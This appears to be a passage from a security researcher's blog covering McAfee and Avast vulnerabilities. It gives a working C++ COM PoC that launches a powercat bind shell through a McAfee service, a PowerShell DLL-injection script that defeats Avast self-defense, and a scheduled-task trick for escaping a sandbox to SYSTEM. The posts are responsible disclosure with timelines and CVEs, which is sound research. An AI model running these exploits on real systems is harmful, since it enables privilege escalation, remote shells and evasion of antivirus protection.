    virtual HRESULT Proc8(/* Stack Offset: 8 */ /*[Out]*/ BSTR *p0);
    virtual HRESULT Proc9(/* Stack Offset: 8 */ /*[Out]*/ BSTR *p0);
    virtual HRESULT Proc10(/* Stack Offset: 8 */ /*[Out]*/ BSTR *p0);
    virtual HRESULT Proc11(/* Stack Offset: 8 */ /*[Out]*/ short *p0);
    virtual HRESULT Proc12(/* Stack Offset: 8 */ /*[In]*/ short p0);
    virtual HRESULT Proc13(
        /* Stack Offset: 8 */ /*[In]*/ BSTR p0,
        /* Stack Offset: 16 */ /*[Out]*/ BSTR *p1);
    virtual HRESULT RunProgram(
        /* Stack Offset: 8 */ /*[In]*/ BSTR bstrExePath,
        /* Stack Offset: 16 */ /*[In]*/ BSTR bstrCmdLine,
        /* Stack Offset: 24 */ /*[Out]*/ /* ENUM16 */ int *returnCode);
    /* Other methods */
};

_COM_SMARTPTR_TYPEDEF(IMcClassFactory, __uuidof(IMcClassFactory));
_COM_SMARTPTR_TYPEDEF(IManageOem, __uuidof(IManageOem));

int main()
{
    try
    {
        HRESULT hr = ::CoInitializeEx(0, COINIT_MULTITHREADED);
        if (FAILED(hr))
            throw std::runtime_error("CoInitializeEx failed. Error: " + std::to_string(hr));
        auto coUninitializeOnExit = wil::scope_exit([] {::CoUninitialize(); });

        const GUID CLSID_CoManageOem =
            { 0x77b97c6a, 0xcd4e, 0x452c, { 0x8d, 0x99, 0x08, 0xa9, 0x2f, 0x1d, 0x8c, 0x83 } };
        IMcClassFactoryPtr pMcClassFactory;

        hr = ::CoGetClassObject(
            CLSID_CoManageOem,
            CLSCTX_LOCAL_SERVER,
            nullptr,
            IID_PPV_ARGS(&pMcClassFactory));
        if (FAILED(hr))
            throw std::runtime_error("CoGetClassObject failed. Error: " + std::to_string(hr));

        const auto thisModulePath = fs::path(wil::GetModuleFileNameW<std::wstring>(NULL));
        auto thisModuleParentDirectoryPath = thisModulePath.parent_path();

        auto mcAfeeSignedImagePath = McLaunchExePath;
        MasqueradeImagePath(mcAfeeSignedImagePath);

        IManageOemPtr pManageOem;

        hr = pMcClassFactory->InternalCreateObject(
            __uuidof(pManageOem), reinterpret_cast<LPVOID *>(&pManageOem));
        if (FAILED(hr))
            throw std::runtime_error("InternalCreateObject failed. Error: " + std::to_string(hr));

        auto cmdLineString = std::wstring(LR"(-nop -ep bypass -c ". )") + (thisModuleParentDirectoryPath / L"powercat.ps1").wstring() + LR"(;powercat -l -p 12345 -ep")";

        auto exePath = ::SysAllocString(LR"(C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe)");
        auto cmdLine = ::SysAllocString(cmdLineString.c_str());
        auto freeBstrStringsOnExit =
            wil::scope_exit([exePath, cmdLine] { ::SysFreeString(exePath); ::SysFreeString(cmdLine); });

        int errorCode;

        hr = pManageOem->RunProgram(exePath, cmdLine, &errorCode);
        if (FAILED(hr))
            throw std::runtime_error("RunProgram failed. Error: " + std::to_string(hr));
    }
    catch (const std::exception &e)
    {
        std::cerr << "Exception: " << e.what() << std::endl;
        return -1;
    }

    return 0;
}

And below is demo of the PoC:

Note: Recently AV have been detecting “powercat” and quarantining it. So for the demonstration purposes, the script must be added to the exclusions, and to work in real life, the payload must be changed to something slightly less famous.

0x08: Conclusion

As you can see, the reported vulnerability is quite simple, but not obvious in terms of its search, discovery and exploitation. And to simplify the task of searching for vulnerabilities in COM-objects, a modern, powerful and flexible tooling comes to the rescue - OVDN. I hope this post will help you learn OVDN and start using it.

In addition, you can notice that the vulnerability wouldn’t have been found if we had stopped at a static analysis of the attack surface. Therefore it’s always important to check your expectations, based on static attack surface analysis, with a dynamic test. Results will surprise you :)

0x09: Disclosure Timeline

  • 2020-11-03 Initial report sent to McAfee.
  • 2020-11-04 Initial response from McAfee stating they’re being reviewed it.
  • 2020-11-24 McAfee triaged the issue reported as a valid issue and is starting work on a fix.
  • 2021-02-10 McAfee releases patched version of product and published the security bulletin.
  • 2021-05-18 This report has been disclosed.

Hooking System Calls in Windows 11 22H2 like Avast Antivirus. Research, analysis and bypass

8 December 2022 at 08:00

0x00: Introduction

Sometimes ago I’ve researched Avast Free Antivirus (post about found vulnerabilities coming soon), and going through the chain of exploitation I needed to bypass self-defense mechanism. Since antivirus self-defense isn’t, in my opinion, a security boundary, bypassing this mechanism isn’t a vulnerability, and therefore I didn’t consider it so interesting to write about it in my blog. But when I stumbled upon the post by Yarden Shafir, I decided that this post could still be useful to someone. Hope you’ll enjoy reading it!

TL;DR: In this post I’ll show Avast self-defense bypass, but I’ll focus not on the result, but on the process: on how I learned how the security feature is implemented, discovered a new undocumented way to intercept all system calls without a hypervisor and PatchGuard triggered BSOD, and, finally, based on the knowledge gained, implemented a bypass.

0x01 Self-Defense Overview

Every antivirus (AV) self-defense is a proprietary undocumented mechanism, so no official documentation exists. However, I will try to guide you through the most important common core aspects. The details here should be enough to understand the next steps of the research.

Typical self-protection of an antivirus is a mechanism similar in purpose to Protected Process Light (PPL): developers try to move product processes into their own security domain, but without using special certificates (protected process (light) verification OID in EKU), to make it impossible for an attacker to tamper and terminate their own processes. That is, self-protection is similar in function to PPL, but is not a part or extension of it - EPROCESS.Protection doesn’t contain flags set by AV and therefore RtlTestProtectedAccess cannot prevent access to secured objects. Therefore, developers on one’s own have to:

  1. Assign and manage process trust tags (on creating process, on making suspicious actions);
  2. Intercept operating system (OS) operations that are important from the point of view of invasive impact (opening processes, threads, files for writing) and check if they violate the rules of the selected policy.

And if everything is simple and clear with the first point - what bugs to look for there (e.g. CVE-2021-45339), then the second point requires clarification. What and how do antiviruses intercept? Due to PatchGuard and compatibility requirements, developers have rather poor options, namely, to use only limited number of documented hooks. And there are not so many that can help defend the process:

  1. Ob-Callbacks - prevent opening for write process, thread;
  2. Driver Minifilter - prevents writing to product’s files;
  3. Some user-mode hooks - other preventions.

I’m not going to delve into detail of how this works under the hood, but if you’re not familiar with these mechanisms, I encourage you to follow the links above. On this, we consider the gentle introduction into the self-defense of the antivirus over and we can proceed to the research.

0x02 Probing Avast Self-Defense

When you need to interact with OS objects, NtObjectManager is an excellent choice. This is PowerShell module written by James Forshaw, and is a powerful wrapper for a very large number of OS APIs. With it, you can also check how processes are protected by self-defense, whether AV driver mechanisms give more access than they should. And I started with a simple opening of the Avast’s UI process AvastUI.exe:

Open process AvastUI.exe

The picture above shows that in general everything works predictably - WRITE-rights are “cut” (1). It’s a bit dangerous that they leave the VmRead (2) access right, but it’s not so easy to exploit, so I decided to look further:

Copy handle of process AvastUI.exe

I tried to duplicate the restricted handle with permissions up to AllAccess (1) and surprisingly it worked, although the trick is pretty trivial. Having received a handle with write permissions, in the case of implementing self-defense based on Ob-Callbacks, nothing restricts the attacker from performing destructive actions aimed at the protected process. Because the access check and Ob-Callbacks only happen once when the handle is created, and they aren’t involved on subsequent syscalls using acquired handle. Here you can inject, but for the test it is enough just to terminate the process, which I did. The result was unexpected - the process could not terminate (2), an access error occurred, although my handle should have allowed the requested action to be performed.

It is obvious that somehow AV interferes with the termination of the process and prohibits it from doing so. And this is done not at the level of handles by Ob-Callbacks, but already at the API call. It means that TerminateProcess is intercepted somewhere. I checked to see if it was a usermode hook and it turned out that it wasn’t. Strange and interesting…

0x03 Researching Syscall Hook

First of all, I studied the existing ways to intercept syscalls. This is widely known that system call hooking is impossible on x64 systems since 2005 due PatchGuard. But obviously Avast intercepts. Suddenly I missed something? I found a couple of interesting articles (here and here), but all these tricks were undocumented and confirmed that in modern Windows syscall intercepting isn’t a documented feature, and is formally inaccessible even for antiviruses.

Then I traced an aforementioned syscall (TerminateProcess on AvastUI.exe) and found that before each call to the syscall handler from SSDT, PerfInfoLogSysCallEntry call occurs, which replaces the address of the handler on the stack (the handler is stored on the stack, then PerfInfoLogSysCallEntry is called, and then it is taken off the stack and executed):

Call PerfInfoLogSysCallEntry

In the screenshot above, you can see that we are in the syscall handler (1), but even before routing to a specific handler. The kernel code puts the address of the process termination handler (nt!NtTerminateProcess) onto the stack at offset @rsp + 0x40h (2), then PerfInfoLogSysCallEntry (3) is called, after returning from the call, the handler address is popped back from the stack (4) and the handler is directly called (5) .

And if you follow the code further, then after calling PerfInfoLogSysCallEntry you can see the following picture:

Call replaced syscall

The address aswbidsdriver + 0x20f0 from the Avast driver (3) appears in the @rax register, and instead of the original handler, the transition occurs to it (2).

This syscall interception technique is not similar to the mentioned above. But already now we see that some “magic” happens in the function PerfInfoLogSysCallEntry and the name of this function is unique enough to try to search for information on it in Google.

The first result in the search results leads to the InfinityHook project, which just implements x64 system calls intercepts. What luck! 😉 You can read in detail how it works on the page README.md, and here I’ll give the most important:

At +0x28 in the _WMI_LOGGER_CONTEXT structure, you can see a member called GetCpuClock. This is a function pointer that can be one of three values based on how the session was configured: EtwGetCycleCount, EtwpGetSystemTime, or PpmQueryTime

The “Circular Kernel Context Logger” context is searched by signature, and its pointer to GetCpuClock is replaced in it. But there is one problem, namely: in the latest OS this code doesn’t work. Why? The project has the issue, from which it can be understood that the GetCpuClock member of the _WMI_LOGGER_CONTEXT structure is no longer a function pointer, but is a regular flag. We can check this by looking at the memory of the object in Windows 11, and indeed nothing can be changed in this class member. Instead of a function pointer we can observe an unsigned 8-bit integer:

GetCpuClock member

Then how do they take control? I set a data access breakpoint on modifying the address of the system handler inside PerfInfoLogSysCallEntry (something like “ba w8 /t @$thread @rsp + 40h”) to see what specific code is replacing the original syscall handler:

Replace original syscall

The screenshot above shows that the code from the aswVmm module at offset 0xdfde (1) replaces the address of the syscall handler on the stack (2) with the address aswbidsdriver + 0x20f0 (3). If we further reverse why this code is called in EtwpReserveTraceBuffer, we can see that the nt!HalpPerformanceCounter + 0x70 handler is called when logging the ETW event:

HalpPerformanceCounter calls QueryCounter

And accordingly, when checking the value by offset in this undocumented structure (there are rumors that at the offset is a member QueryCounter of the structure), you can make sure that there is the Avast’s symbol:

HalpPerformanceCounter.QueryCounter

Now it became clear how the interception of syscalls is implemented. I searched the Internet and found some public information about this kind of interception here and even the code that implements this approach. In this code you can see how you can find the private structure nt!HalpPerformanceCounter and if you describe it step by step, you get the following:

  1. Find the _WMI_LOGGER_CONTEXT of the Circular Kernel Context Logger ETW provider by searching for the signature of the EtwpDebuggerData global variable in the .data section of the kernel image. Further, the knowledge is used that after this variable there is an array of providers and the desired one has an index of 2;
  2. Next the provider’s flags are configured for syscall logging. And the flag is set to use KeQueryPerformanceCounter, which in turn will call HalpPerformanceCounter.QueryCounter;
  3. HalpPerformanceCounter.QueryCounter is directly replaced. To do this, this variable should be found: the KeQueryPerformanceCounter function that uses it is disassembled and the address of the variable is extracted from it by signature. Next, a member of an undocumented structure is replaced by a hook;
  4. The provider starts if it was stopped before.

0x04 Self-Defense Bypass

Now we know that Avast implements self-defense by intercepting syscalls in the kernel and understand how these interceptions are implemented. Inside the hooks, the logic is obviously implemented to determine whether to allow a specific process to execute a specific syscall with these parameters, for example: can the Maliscious.exe process execute TerminateProcess with a handle to process AvastUI.exe. How can we overcome this defense? I see 3 options:

  1. Break the hooks themselves:
    • The replaced HalpPerformanceCounter.QueryCounter is called not only in syscall handling, but also on other events. So the Avast driver somehow distinguishes these cases. You can try to call a syscall in such a way that the Avast driver does not understand that it is a syscall and does not replace it with its own routine;
    • Or turn off hooking.
  2. Find a bug in the Avast logic for determining prohibited operations (for example, find a process from the list of exceptions and mimic it);
  3. Use syscalls that are not intercepted.

The last option seems to be the simplest, since the developers definitely forgot to intercept and prohibit some important function. If this approach fails, then we can try harder and try to implement point 1 or 2.

To understand if the developers have forgotten some function, it is necessary to enumerate the names of the functions that they intercept. If you look at the xref to the function aswbidsdriver + 0x20f0, to which control is redirected instead of the original syscall handler according to the screenshot above, you can see that its address is in some array along with the name of the syscall being intercepted. It looks like this:

Hooked API array

It is logical to assume that if you go through all the elements of this array, you can get the names of all intercepted system calls. By implementing this approach, we get the following list of system calls that Avast intercepts, analyzes, and possibly prohibits from being called:

NtContinue
NtSetInformationThread
NtSetInformationProcess
NtWriteVirtualMemory
NtMapViewOfSection
NtMapViewOfSectionEx
NtResumeThread
NtCreateEvent
NtCreateMutant
NtCreateSemaphore
NtOpenEvent
NtOpenMutant
NtOpenSemaphore
NtQueryInformationProcess
NtCreateTimer
NtOpenTimer
NtCreateJobObject
NtOpenJobObject
NtCreateMailslotFile
NtCreateNamedPipeFile
NtAddAtom
NtFindAtom
NtAddAtomEx
NtCreateSection
NtOpenSection
NtProtectVirtualMemory
NtOpenThread
NtSuspendThread
NtTerminateThread
NtTerminateProcess
NtSuspendProcess
NtNotifyChangeKey
NtNotifyChangeMultipleKeys

Let me remind you that initially we wanted to bypass self-defense, and for the purposes of a quick demonstration, we tried to simply kill the process. But now back to the original plan - injection. We need to find a way to inject that simply does not use the functions listed above. That’s all! 😉 There are a lot of injection methods and there are many resources where they are described. I found a rather old, but still relevant, list in the Elastic’s article “Ten process injection techniques: A technical survey of common and trending process injection techniques” (after completing this research, I found another interesting post “‘Plata o plomo’ code injections/execution tricks”, highly recommend post and blog). There are the most popular injection techniques in Windows OS. So which of these can be applied so that it works and Avast’s self-defense cannot prevent the code from being injected?

From the intercepted syscalls, it is clear that the developers seem to have read this article and took care of mitigating the injection into processes. For example, the very first classical injection “CLASSIC DLL INJECTION VIA CREATEREMOTETHREAD AND LOADLIBRARY” is impossible. Although the name of the technique contains only CreateRemoteThread and LoadLibrary, WriteProcessMemory is still needed there, and this is a bottleneck in our case - Avast intercepts NtWriteVirtualMemory, so the technique will not work in its original form. But what if you do not write anything to the remote process, but use the strings existing in it? I got the following idea:

  1. Find in the process memory (there is a handle and there are no interceptions of such actions) a string representing the path where an attacker can write his module. It seemed to me the most reliable way to look in PEB among the environment variables for a string like “LOCALAPPDATA=C:\Users\User\AppData\Local”, so this path is definitely writable and the memory will not be accidentally freed at runtime, i.e. the exploit will be more reliable;
  2. Copy module to inject to C:\Users\User\AppData\Local.dll;
  3. Using the handle copying bug, get all access handle to process AvastUI.exe;
  4. Find the address of kernel32!LoadLibraryA (for this, thanks to KnownDlls, you don’t even need to read the memory, although we can);
  5. Call CreateRemoteThread (it is not intercepted) with procedure address of LoadLibraryA and argument - string “C:\Users\User\AppData\Local”. Since the path does not end with “.dll”, according to the documentation, LoadLibraryA itself adds a postfix;
  6. Profit!

If this scenario is expressed in PowerShell code, then the following will be obtained (in addition to the previously mentioned NtObjectManager, the script uses the Search-Memory cmdlet from the module PSMemory):

$avastUIs = Get-Process -Name AvastUI
$avastUI = $avastUIs[0]

$localAppDataStrings = $avastUI | Search-Memory -Values @{String='LOCALAPPDATA=' + $env:LOCALAPPDATA}
$pathAddress = $localAppDataStrings.Group[0].Address + 'LOCALAPPDATA='.Length  #[1]

Copy-Item -Path .\MessageBoxDll.dll -Destination ($env:LOCALAPPDATA + '.dll') #[2]

$process = Get-NtProcess -ProcessId $avastUI.Id
$process2 = Copy-NtObject -Object $process -DesiredAccess GenericAll #[3]

$kernel32Lib = Import-Win32Module -Path 'kernel32.dll'
$loadLibraryProc = Get-Win32ModuleExport -Module $kernel32Lib -ProcAddress 'LoadLibraryA' #[4]

$thread = New-NtThread -StartRoutine $loadLibraryProc -Argument $pathAddress -Process $process2 #[5]

And if we run this code, then… Nothing will happen. Rather, a thread will be created, it will try to load the module, but it will not load it, and the worst thing is the loading code, based on the call stack in ProcMon, is intercepted by aswSP.sys driver (Avast Self Protection) and judging by the access to directories using CI.dll it tries to check the signature of the module:

LoadLibrary failed

It’s incredible! Avast not only uses undocumented syscall hooks, but also uses the undocumented kernel-mode library CI.dll to validate the signature in the kernel. This is a very brave and cool feature, but for us it brings problems: we either need to change the injection scheme to fileless, or now look for a bug in the signature verification mechanism as well. I chose the second.

0x05 Cached Signing Bug

AvastUI.exe is an electron based application and therefore has a specific process model – one main process and several render processes:

AvastUI process model

And the fact is that in the case of an unsuccessful injection attempt in the previous section, we tried to inject code into the main process, but then, in the process of thinking, I tried to restart the script by specifying child processes as a target and… The injection worked.

AvastUI pwned

And if we then try to inject again into the main process, then we will succeed and no signature checks will be performed:

LoadLibrary succedeed

It’s strange, but cool that the injection works. And this means that the article is nearing completion. 😊 But I still want to understand what’s going on.

After loading the test unsigned library by the renderer process, Kernel Extended Attribute $KERNEL.PURGE.ESBCACHE is added to the file:

$f = Get-NtFile -Path ($env:LOCALAPPDATA + '.dll') -Win32Path -Access GenericRead -ShareMode Read
$f.GetEa()

Entries                                                     Count
-------                                                     -----
{Name: $KERNEL.PURGE.ESBCACHE - Data Size: 69 - Flags None}     1

This is a special attribute that can only be set from the kernel using the FsRtlSetKernelEaFile function and is removed whenever the file is modified. CI stores in this attribute the status of the signature verification, and if it is present, then the re-verification does not occur, but the result of the previous one is reused. Thus, it is obvious that when the module is loaded into the render process, there is a bug in the self-protection driver (probably aswSP.sys) (in this article, we will not figure out which one, but the reader himself can look in ProcMon for the callstack of the SetEAFile operation on the file and reverse why it is invoked) which causes a Kernel Extended Attribute to be set on an unsigned file with validated signature information for CI. And after that, this file can be loaded into any other process that uses the results of the previous “signature check”. Let’s see what is written in the attribute (NtObjectManager will help us here again):

$f.GetCachedSigningLevelFromEa()

Version             : 3
Version2            : 2
USNJournalId        : 133143369490576857
LastBlackListTime   : 4/6/2022 2:40:59 PM
ExtraData           : {Type DGPolicyHash - Algorithm Sha256 - Hash 160348839847BC9E112709549A0739268B21D1380B9D89E0CF7B4EB68CE618A7}
Flags               : 32770
SigningLevel        : DeviceGuard
Thumbprint          :
ThumbprintBytes     : {}
ThumbprintAlgorithm : Unknown

The signature of the unsigned file is marked as valid with a DeviceGuard (DG) level, so it’s understandable why the main process loads it. In addition, this bug may allow unsigned code to be executed on a DG system. Although code need to be already executed to trigger bugs, this bug can be used as a stage in the exploitation chain for executing arbitrary code on the DG system.

Summing up, the script for bypassing self-defense above is valid, but it must be applied not to the AvastUI’s main process, but to one of the child ones. But if you still want to inject into the main process, then it’s enough to first inject into any non-main AvastUI - this will set the Kernel EA of the unsigned file to the value of the passed signature verification and after that you can already inject this module into the main process - the presence of the attribute will inform the process, that the file is signed and it will load successfully.

After getting the ability to execute code in the context of AvastUI, we have several advantages:

  1. A larger attack surface is opened on AV interfaces - only trusted processes have access to many of them;
  2. AV most likely whitelists all actions of the code in a trusted process, for example, you can encrypt all files on the disk without interference;
  3. The user cannot terminate the trusted process, and it may already be hosting malicious code.

But more on that in future posts.

0x06 Conclusions

As a result of the work done, we have a bug in copying the process handle on the current latest version of Avast Free Antivirus (22.11.6041 build 22.11.7716.762), we know that Avast uses a kernel hook on syscalls, we know how they work on a fully updated Windows 11 22H2, investigated what hooks Avast puts, developed an injection bypassing the interception mechanism, discovered signature verification in the Avast core using CI.dll functions, found a bug in setting the cached signing level, and using all this, we are finally able to inject code into the trusted AvastUI.exe process protected by antivirus.

Elevation of privileges from Everyone through Avast Sandbox to System AmPPL (CVE-2021-45335, CVE-2021-45336 and CVE-2021-45337)

9 February 2023 at 08:00

0x00: Introduction

In March 2020 (during quarantine) I researched the security of Avast Free Antivirus ver. 20.1.2397 and I may have been one of the first external security researchers to explore the product’s newest feature – the antivirus (AV) engine sandbox. Today we will talk about it and I will show how by adding a cool security feature you can open a new attack path and, as a result, let the attacker through the chain of vulnerabilities (CVE-2021-45335, CVE-2021-45336 and CVE-2021-45337) elevate privileges from normal user to “NT AUTHORITY\SYSTEM” with Antimalware Protected Process Light protection level (link to description of impact in the now unavailable Avast Hall of Fame. @Avast, thanks for putting it on a list no one has access to 😉).

0x01: Insecure DACL of a process aswEngSrv.exe (CVE-2021-45335)

When searchinging for vulnerabilities my first step (probably like everyone else) is to examine the accessible from my privilege level attack surface. At that time I logged in as a normal user (not a member of the Administrators group) and launched the TokenViewer application from the well-known NtObjectManager package. And I saw the following picture:

aswEngSrv.exe in TokenViewer

It immediately catches the eye that the current low-privileged user, among the obvious access to applications running in the same context, has access to the token of the process running as “NT AUTHORITY\SYSTEM”. This is not the default behavior. What can be done with this token? In short, nothing. To elevate privileges I would like to impersonate toket or create a process with such a token but due to the lack of privileges for a regular user (SeImpersonatePrivilege or SeAssignPrimaryToken) and another user (ParentTokenId and AuthId) in the token, we cannot do any of this.

Let’s then take a closer look at the process of interest and try to understand what it does:

aswEngSrv.exe details

It is clear from the description of the binary file that the logic of scanning files has been moved to this process. There are a lot of file formats (+packers), including complex formats, parsing takes place in C/C++ – not a memory safe language – and the developers wisely decided to sandbox the process which is very likely to be pwned. Thereby reducing the impact from the exploitation of a potential remote code execution (RCE).

NOTE: I don’t know what triggered the release of the antivirus engine sandbox in 2020 and how hastily it came out but perhaps the vulnerability report and the ported JS interpreter code from @taviso speeded up its release.

It is logical to assume that the high privileged AvastSvc.exe process assigns the task of scanning the contents of the file via inter-process communication (IPC) to aswEngSrv.exe, and the latter, in turn, scans the data and makes a verdict like “virus” or “benign file”. Having dealt with the functionality implemented by this process injecting into it does not seem senseless. After all if we can inject into the scanner process we can influence its verdicts and ultimately get the ability to delete almost any (“almost” because AVs usually have the concept of system critical objects (SCO) of files that they will never delete. This is implemented so that you do not accidentally remove system files) file.

If you look at the OpenProcessToken documentation you will see that in order to open a token you must have the PROCESS_QUERY_LIMITED_INFORMATION access right on the process. Since TokenViewer shows us a token it means that it was able to successfully call OpenProcessToken, which means that we have some kind of rights to the process. Usually there is no way for the user to open processes running as “NT AUTHORITY\SYSTEM”. Look at the DACL of the aswEngSrv.exe process:

.\accesschk64.exe -p aswEngSrv.exe -nobanner
[4704] aswEngSrv.exe
  RW Everyone
  RW NT AUTHORITY\ANONYMOUS LOGON
  RW APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES
  RW NT AUTHORITY\SYSTEM

Obviously with such a DACL you can make an inject for every taste (in the PoC I used the Pinjectra project). Thus using the insecure DACL of the aswEngSrv.exe process we can obtain a gadget for deleting arbitrary files as follows:

  1. Send the file we want to delete for scanning;
  2. Inject the code into the sandboxed process of the AV engine aswEngSrv.exe and “say” that the file is malicious;
  3. After that the privileged AvastSvc.exe service will have to delete the corresponding file.

There is a vulnerability and it is clear how to exploit it but I still want to understand why there is such a permissive DACL on the process object. Is this a mistake of the antivirus developers or a strange behavior of the operating system (OS) when creating a child process with a restricted token?

The process and thread DACL are specified by DefaultDACL of the primary token of the process. By default the DefaultDACL is created by the system adequately and developers usually do not need to configure it themselves (many people do not even know about its existence). When creating a restricted token the DefaultDACL is simply copied from a primary token, and in the case of the AvastSvc service it is quite strict by default and contains literally 2 ACEs:

Restricted token default DefaultDACL

Only “NT AUTHORITY\SYSTEM” and “BUILTIN\Administrators” access is allowed, and for Administrators this is not full access. But then for some reason the developers themselves create the maximum permissive DACL and set it to the restricted token:

Set permissive DefaultDACL to the restricted token

The comment in the code highlights in the SDDL format the value of the security descriptor used in runtime: Full Access for “Everyone”, “Anonymous Logon” and “All Application Packages”. This actually explains why the aswEngSrv.exe process has such a DACL.

I also want to make an assumption why the default behavior did not suit the developers and they decided to manually configure the DefaultDACL. I have two versions. The first is that when a process creates objects, the DACL on them is assigned in accordance with the inherited ACEs of the parent container. But if there is no container then DACL comes from the primary or impersonation token of the creator. And when aswEngSrv.exe was launched with the default DefaultDACL then after creating its objects it could not reopen them due to the strict DACL. And the second version is that RPC, COM-runtime and other system code often tries to open their own process token and if you do not configure the DefaultDACL, as the Avast developers did, then the process cannot open its own token and the code crashes with strange errors. And this is inconvenient.

0x02: Sandbox escape (CVE-2021-45336)

I’ve never liked arbitrary file deletion vulnerabilities because I don’t think the file deletion impact is that interesting in real life. And I want of course the execution of arbitrary code in the context of a privileged user. To this end I decided to see what can be achieved by injecting into aswEngSrv.exe besides deleting files.

In fact this is counterintuitive – from a process with the rights of the current user get into the sandbox to elevate privileges. Because the sandbox by design provides the code executing in it uniquely less privileges than the normal user has. The same idea was in the Avast sandbox. Below is a picture with a process token:

aswEngSrv.exe token before fix

It can be seen that this is a restricted token owned by SYSTEM. The developers did everything in accordance with chapter 1.2 “Restricting Privileges on Windows” of the book “Secure Programming Cookbook for C and C++” by John Viega, Matt Messier. If you do not know this concept I highly recommend that you familiarize yourself with the ideas from the book and now we will look at how restricted token is used to create a sandbox in Avast AV. AvastSvc.exe crafts restricted token by setting the “BUILTIN\Administrators” SID to DENY_ONLY, removing all privileges except SeChangeNotifyPrivilege, adding restricted SIDs that characterize a normal unprivileged user (you can see it in the picture above), as well as lowering the integrity level to Medium. After that when you try to access the securable object from the context of the sandboxed aswEngSrv.exe the following process occurs (the algorithm is shown in a very simplified way, only to explain how restricted token works):

Restricted token access check example

The access check takes place in two rounds – for the normal list of SIDs and for restricted -, and the verdict is made based on the intersection of the permissions issued in two rounds. The picture shows that in round 1 permission was obtained for RW, in the second – only for R, which means that the process will not be able to get the desired access to RW, since {R, W} ∩ {R} = {R}.

But at the same time we see that the sandbox is somewhat unusual – launched from “NT AUTHORITY\SYSTEM”. What if you can get out of it and at the same time “reset” your restrictions and ultimately get the original privileged process token – parent token of the restricted. Let’s try to enumerate available resources such as files using the following command:

Get-AccessibleFile -Path \??\C:\ -ProcessName aswEngSrv.exe -Recurse -CheckMode All -AllowPartialAccess -FormatWin32Path`
    -DirectoryAccess AddFile,AddSubDirectory,WriteEa,DeleteChild,WriteAttributes,Delete,WriteDac,WriteOwner`
    -Access WriteData,AppendData,WriteEa,DeleteChild,WriteAttributes,Delete,WriteDac,WriteOwner

In the code listing above we used the Get-AccessibleFile cmdlet to get all filesystem objects on the C: drive,into which we can somehow write from the aswEngSrv.exe privilege level. The result is a list of resources available for a normal user. Interestingly there are such locations that are often used to bypass SRP. But from the point of view of privilege escalation this is not notably promising since the straightforward attack of a system service by manipulating accessible files or the registry or something else will definitely be very time consuming.

Thus the search for the possibility of elevation through securable objects such as files, registry, processes, thread is not immediately suitable due to the existing restrictions that are provided by the restricted token implementation. There remains the option of exploitation IPC – RPC, ALPC, COM, etc. Moreover it is necessary that during the IPC request the token is not impersonated, but only checked, for example, for the owner who is quite privileged in our case, and then privileged actions are already performed e.g. spawning a child process.

Even earlier I saw the post by Clément Labro – he wrote that with help of the TaskScheduler you can return dropped privileges by creating a new task. And even then I had a feeling that the TaskScheduler could act as an entity that could restore the original token from modified. The article did not explain why it worked there and therefore it was not clear whether this approach would work in our case. But nevertheless a hypothesis appeared: what if the restricted token of the aswEngSrv.exe can also be upgraded? And I decided to consider this vector as a possible sandbox escape.

If you look at the low-level implementation of the TaskScheduler interface you can see from the specification that to register a task it is enough to call the SchRpcRegisterTask RPC method. I tried to do this using powershell impersonating the aswEngSrv.exe process token and in its context writing a task that should already be running as a non-restricted SYSTEM:

$process = Get-NtProcess -Name aswEngSrv.exe
$imp_token = Get-NtToken -Process $process -Duplicate -TokenType Impersonation -ImpersonationLevel Impersonation

$action = New-ScheduledTaskAction -Execute "cmd.exe"
$trigger = New-ScheduledTaskTrigger -Once -At 2:55pm
$principal = New-ScheduledTaskPrincipal -UserID "NT AUTHORITY\SYSTEM" -LogonType ServiceAccount -RunLevel Highest
$task = New-ScheduledTask -Action $action -Principal $principal -Trigger $trigger

Invoke-NtToken $imp_token { Register-ScheduledTask TestTask -InputObject $task }

But Register-ScheduledTask for some reason does not use the impersonation token, probably the work is transferred to the thread pool which “does not know” about impersonation. And so the call happens in the context of the process’ token. So this experiment failed and I did not find anything better than writing my own native COM-client to call SchRpcRegisterTask under an impersonated restricted token.

And it worked! Using the TaskScheduler COM API from the restricted context of the sandboxed aswEngSrv.exe you can register any task which will then be executed in the SYSTEM context without any restrictions.

If you look at the code why TaskScheduler allows you to do this trick you can see the following checks:

IDA listing isPrivilegedAccount

And if isPrivilegedAccount == TRUE then the TaskScheduler allows you to register and run almost any task with any principal regardless of the caller’s current token. Inside User::IsLocalSystem function there is just a check for user in the token and if it is equal to WinLocalSystemSid then the function returns TRUE. So it is clear why the described approach with registering a task from the context of restricted aswEngSrv.exe works and allows you to escape the sandbox.

Btw James Forshaw published two posts about TaskScheduler features (here and here) where the similar idea and the same TaskScheduler’s code are exploited.

NOTE: A month after I discovered this vulnerability James Forshaw wrote the article “Sharing a Logon Session a Little Too Much” which describes another interesting way to escape this type of sandbox.

0x03: Manual PPL’ing of a process wsc_proxy.exe (CVE-2021-45337)

When researching antiviruses,you often encounter the problem of debugging and obtaining information about product processes. The reason for this is that often antiviruses make their processes anti-malware protected. For it AV vendors use Protected Process Light (PPL) concept and set the security level of their processes to the Antimalware level (AmPPL). Because of this, by design, a malicious program even with Administrator rights cannot influence – terminate process (there are workarounds), inject its own code – on AV processes. But the downside of this feature is that security researchers cannot debug the code of interest, instrument it or view the process configuration.

Of cource a kernel debugger can be overcomethese difficulties. For example Tavis Ormandi patched the nt!RtlTestProtectedAccess function. This will allow you to interact with securable objects, such as opening a process with OpenProcess or a thread with OpentThread but will not allow you to load unsigned module from disk into the process.

NOTE: There are also approaches like PPLKiller with installing a driver that modifies EPROCESS kernel structures and resets protection but this is too invasive for me.

And although the method described above certainly has its advantages, such as complete transparency for the product, I often reset the security by modifying the services config which is set by the installer at the stage of installing the product. If you carefully read the documentation on how to start AmPPL processes you can see that at the service installation stage you need to call ChangeServiceConfig2 with the handle of the configured service, SERVICE_CONFIG_LAUNCH_PROTECTED level and a pointer to the SERVICE_LAUNCH_PROTECTED_INFO structure, the “protection type” member of which should be set to the value SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT.

Intercepting and canceling the call to the ChangeServiceConfig2 function with the specified parameters on the installer side seems problematic since you don’t know in advance from which process the protection of AV services is set. Therefore knowing that ChangeServiceConfig2 under the hood is just an RPC client of the Service Control Manager (SCM) interface, and accordingly each call to ChangeServiceConfig2 from any process continues in RPC-method RChangeServiceConfig2W of process services.exe, I decided to set a conditional breakpoint on RChangeServiceConfig2W and cancel on the fly attempts to do the service AmPPL.

